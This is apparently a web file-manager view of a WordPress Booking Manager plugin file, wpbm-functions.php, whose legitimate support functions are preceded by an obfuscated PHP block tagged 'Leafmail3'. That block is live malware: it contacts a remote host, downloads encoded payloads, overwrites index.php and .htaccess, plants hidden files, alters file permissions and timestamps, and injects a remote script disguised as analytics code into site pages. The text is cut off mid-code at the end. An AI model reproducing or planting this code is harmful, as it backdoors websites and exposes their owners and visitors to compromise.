trAvis - MANAGER
Edit File: wpbm-functions.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @package Booking Manager * @subpackage Support Functions * @category Functions * * @author wpdevelop * @link https://oplugins.com/ * @email info@oplugins.com * * @modified 29.09.2015 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly // <editor-fold defaultstate="collapsed" desc=" V e r s i o n s " > //////////////////////////////////////////////////////////////////////////////// // V e r s i o n s //////////////////////////////////////////////////////////////////////////////// /** Get version * * @return string */ function get_wpbm_version(){ $version = 'free'; return $version; } /** Check if user accidentially update Booking Manager Paid version to Free * * @return bool */ function wpbm_is_updated_paid_to_free() { if ( ( wpbm_is_table_exists('wpbm_log') ) && ( ! class_exists('wpbm_personal') ) ) return true; else return false; } function wpbm_get_ver_sufix() { if ( strpos( strtolower( WPBM_VERSION ), 'multisite' ) !== false ) { $v_type = '-multi'; } else if ( strpos( strtolower( WPBM_VERSION ), 'develop' ) !== false ) { $v_type = '-dev'; } else { $v_type = ''; } $v = ''; if ( class_exists( 'wpbm_personal' ) ) $v = 'ps' . $v_type; if ( class_exists( 'wpbm_pro' ) ) $v = ''; return $v; } function wpbm_up_link() { if ( ! wpbm_is_this_demo() ) $v = wpbm_get_ver_sufix(); else $v = ''; return 'https://oplugins.com/plugins/booking-manager/' . ( ( empty($v) ) ? '' : 'upgrade-' . $v . '/' ) ; } /** Check if this demo website * * @return bool */ function wpbm_is_this_demo() { //return ! true; //TODO: comment it. 2016-09-27 // Replaced! if ( ( ( isset( $_SERVER['SCRIPT_FILENAME'] ) ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'oplugins.com' ) !== false ) ) || ( ( isset( $_SERVER['HTTP_HOST'] ) ) && ( strpos( $_SERVER['HTTP_HOST'], 'oplugins.com' ) !== false ) ) ) return true; else return false; } /** Get Warning Text for Demo websites */ function wpbm_get_warning_text_in_demo_mode() { return '<div class="wpbm-settings-notice notice-warning"><strong>Warning!</strong> Demo test version does not allow changes to these items.</div>'; } /** Show System Info (status) at item > Settings General page * Link: http://server.com/wp-admin/admin.php?page=wpbm-settings&system_info=show#wpbm_general_settings_system_info_metabox */ function wpbm_system_info() { if ( wpbm_is_this_demo() ) return; if ( current_user_can( 'activate_plugins' ) ) { // Only for Administrator or Super admin. More here: https://codex.wordpress.org/Roles_and_Capabilities global $wpdb, $wp_version; $all_plugins = get_plugins(); $active_plugins = get_option( 'active_plugins' ); $mysql_info = $wpdb->get_results( "SHOW VARIABLES LIKE 'sql_mode'" ); if ( is_array( $mysql_info ) ) $sql_mode = $mysql_info[0]->Value; if ( empty( $sql_mode ) ) $sql_mode = 'Not set'; $safe_mode = ( ini_get( 'safe_mode' ) ) ? 'On' : 'Off'; $allow_url_fopen = ( ini_get( 'allow_url_fopen' ) ) ? 'On' : 'Off'; $upload_max_filesize = ( ini_get( 'upload_max_filesize' ) ) ? ini_get( 'upload_max_filesize' ) : 'N/A'; $post_max_size = ( ini_get( 'post_max_size' ) ) ? ini_get( 'post_max_size' ) : 'N/A'; $max_execution_time = ( ini_get( 'max_execution_time' ) ) ? ini_get( 'max_execution_time' ) : 'N/A'; $memory_limit = ( ini_get( 'memory_limit' ) ) ? ini_get( 'memory_limit' ) : 'N/A'; $memory_usage = ( function_exists( 'memory_get_usage' ) ) ? round( memory_get_usage() / 1024 / 1024, 2 ) . ' Mb' : 'N/A'; $exif_read_data = ( is_callable( 'exif_read_data' ) ) ? 'Yes' . " ( V" . substr( phpversion( 'exif' ), 0, 4 ) . ")" : 'No'; $iptcparse = ( is_callable( 'iptcparse' ) ) ? 'Yes' : 'No'; $xml_parser_create = ( is_callable( 'xml_parser_create' ) ) ? 'Yes' : 'No'; $theme = ( function_exists( 'wp_get_theme' ) ) ? wp_get_theme() : get_theme( get_current_theme() ); if ( function_exists( 'is_multisite' ) ) { if ( is_multisite() ) $multisite = 'Yes'; else $multisite = 'No'; } else { $multisite = 'N/A'; } $system_info = array( 'system_info' => '', 'php_info' => '', 'active_plugins' => array(), //FixIn: 2.0.25.1 'inactive_plugins' => array() //FixIn: 2.0.25.1 ); $ver_small_name = get_wpbm_version(); if ( class_exists( 'wpbm_multiuser' ) ) $ver_small_name = 'multiuser'; $system_info['system_info'] = array( 'Plugin Update' => ( defined( 'WPBM_VERSION' ) ) ? WPBM_VERSION : 'N/A', 'Plugin Version' => ucwords( $ver_small_name ), 'Plugin Update Date' => date( "Y-m-d", filemtime( WPBM_FILE ) ), 'WP Version' => $wp_version, 'WP DEBUG' => ( ( defined('WP_DEBUG') ) && ( WP_DEBUG ) ) ? 'On' : 'Off', 'WP DB Version' => get_option( 'db_version' ), 'Operating System' => PHP_OS, 'Server' => $_SERVER["SERVER_SOFTWARE"], 'PHP Version' => PHP_VERSION, 'PHP Safe Mode' => $safe_mode, 'MYSQL Version' => $wpdb->get_var( "SELECT VERSION() AS version" ), 'SQL Mode' => $sql_mode, 'Memory usage' => $memory_usage, 'Site URL' => get_option( 'siteurl' ), 'Home URL' => home_url(), 'SERVER[HTTP_HOST]' => $_SERVER['HTTP_HOST'], 'SERVER[SERVER_NAME]' => $_SERVER['SERVER_NAME'], 'Multisite' => $multisite, 'Active Theme' => $theme['Name'] . ' ' . $theme['Version'] ); $system_info['php_info'] = array( 'PHP Version' => PHP_VERSION, 'PHP Safe Mode' => $safe_mode, 'PHP Memory Limit' => '<strong>' . $memory_limit . '</strong>', 'PHP Max Script Execute Time' => '<strong>' . $max_execution_time . '</strong>', 'PHP Max Post Size' => '<strong>' . $post_max_size . '</strong>', 'PHP MAX Input Vars' => '<strong>' . ( ( ini_get( 'max_input_vars' ) ) ? ini_get( 'max_input_vars' ) : 'N/A' ) . '</strong>', //How many input variables may be accepted (limit is applied to $_GET, $_POST and $_COOKIE superglobal separately). 'PHP Max Upload Size' => $upload_max_filesize, 'PHP Allow URL fopen' => $allow_url_fopen, 'PHP Exif support' => $exif_read_data, 